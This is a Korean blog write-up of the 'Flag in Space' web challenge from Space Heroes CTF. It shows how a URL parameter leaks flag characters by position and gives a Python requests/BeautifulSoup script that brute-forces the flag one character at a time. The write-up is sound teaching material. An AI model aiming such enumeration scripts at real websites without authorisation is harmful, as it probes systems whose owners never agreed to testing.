CTF/웹해킹

[Space Heroes CTF] Flag in Space - 웹해킹 / Requests / BeautifulSoup

SecurityMan 2022. 4. 9. 14:30

 

쉬움 난이도의 웹해킹 문제

 

개인적으로 재밌게 푼 문제였다.

 

반응형

 

역시나 다른 웹해킹 문제들처럼 소스는 주어지지 않고 

 

문제 페이지 주소만 주어진다.

 

 

문제 페이지에 접속했을때 가장 먼저 보이는 화면이다.

 

주목할것은 URL과 밑에 보이는 화면인데

 

URL을 보면 spaceheroes-web-flag.chals.io/?flag=s

 

flag 라는 변수에 s라는 값을 넣어서 서버로 전달하고 있다.

 

밑에 검은 네모칸에는 flag 변수에 넣은 s 가 출력되는것을 볼 수 있다.

 

 

플래그 포맷이 shctf 로 시작하기 때문에

 

URL에 spaceheroes-web-flag.chals.io/?flag=shctf 라고 넣어보았다.

 

그랬더니 아까 아무것도 없었던 네모칸에 s h c t f 가 각각 쓰여지게 되었다.

 

여기서 알아낼 수 있는 것은

 

각각의 네모칸은 플래그의 각 글자가 들어가는 칸이고,

 

URL에 알맞은 칸에 알맞은 문자를 넣어야 해당 문자열이 출력된다는 것이다.

 

 

본격적으로 exploit 코드를 짜기 전 테스트를 해보았다.

 

플래그에 절대 들어갈리가 없는 문자(` / 물결표시 위에있는것) 를 넣고 그다음 h를 넣어보았다.

(spaceheroes-web-flag.chals.io/?flag=`h)

 

그랬더니 첫번째 칸은 아무것도 안뜨고, 두번째 칸은 h가 맞기때문에 출력이 된 것을 볼 수 있다.

 

 

다음으로 spaceheroes-web-flag.chals.io/?flag=``c 를 입력하면

 

첫번째, 두번째 칸은 빈칸이 되고, 세번째 칸은 c가 출력되는것을 확인할 수 있다.

 

지금까지 알아낸 것을 토대로 코딩을 한다.

 

import requests
from bs4 import BeautifulSoup as bs

string = 'abcdefghijklmnopqrstuvwxyz{}ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789!@#$%^&*()_+/'

i = 0
flag = ''

for i in range(0,26):
    for j in range(len(string)):
        url = 'https://spaceheroes-web-flag.chals.io/?flag='    
        url = url + ('`'*i) + string[j]
        print(url)
        r = requests.get(url)
        soup = bs(r.text, 'html.parser')
        div = soup.find('div')

        if string[j] in div.text:
            print(string[j])
            flag += string[j]
            break
        else:
            print('nono', i, string[j])

print(flag)

 

파이썬을 이용했고, requests와 beautifulsoup 모듈을 사용했다.

 

requests 모듈은 웹 요청 패킷을 보내고 응답 패킷을 받는 역할을 하고

 

beautifulsoup는 requests로 받은 응답 패킷을 파싱해주는 역할을 한다.

 

먼저 string 변수를 선언해 플래그에 들어갈만한 문자열들을 넣어준다.

 

2중 for문을 이용해서 요청할 URL을

 

spaceheroes-web-flag.chals.io/?flag=`a

spaceheroes-web-flag.chals.io/?flag=`b

spaceheroes-web-flag.chals.io/?flag=`c

                    . . .

spaceheroes-web-flag.chals.io/?flag=`/

spaceheroes-web-flag.chals.io/?flag=``a

spaceheroes-web-flag.chals.io/?flag=``b

 

이런식으로 생성해서 문제 서버로 요청한다.

 

요청을 받으면 beautifulsoup를 이용해서 파싱하고

 

<div> 태그안에 URL에서 요청한 문자열이 있다면 flag 변수에 하나씩 추가하게 된다.

 

 

코드를 실행시키고 잠시 기다리면

 

플래그가 출력되는것을 볼 수 있다.

반응형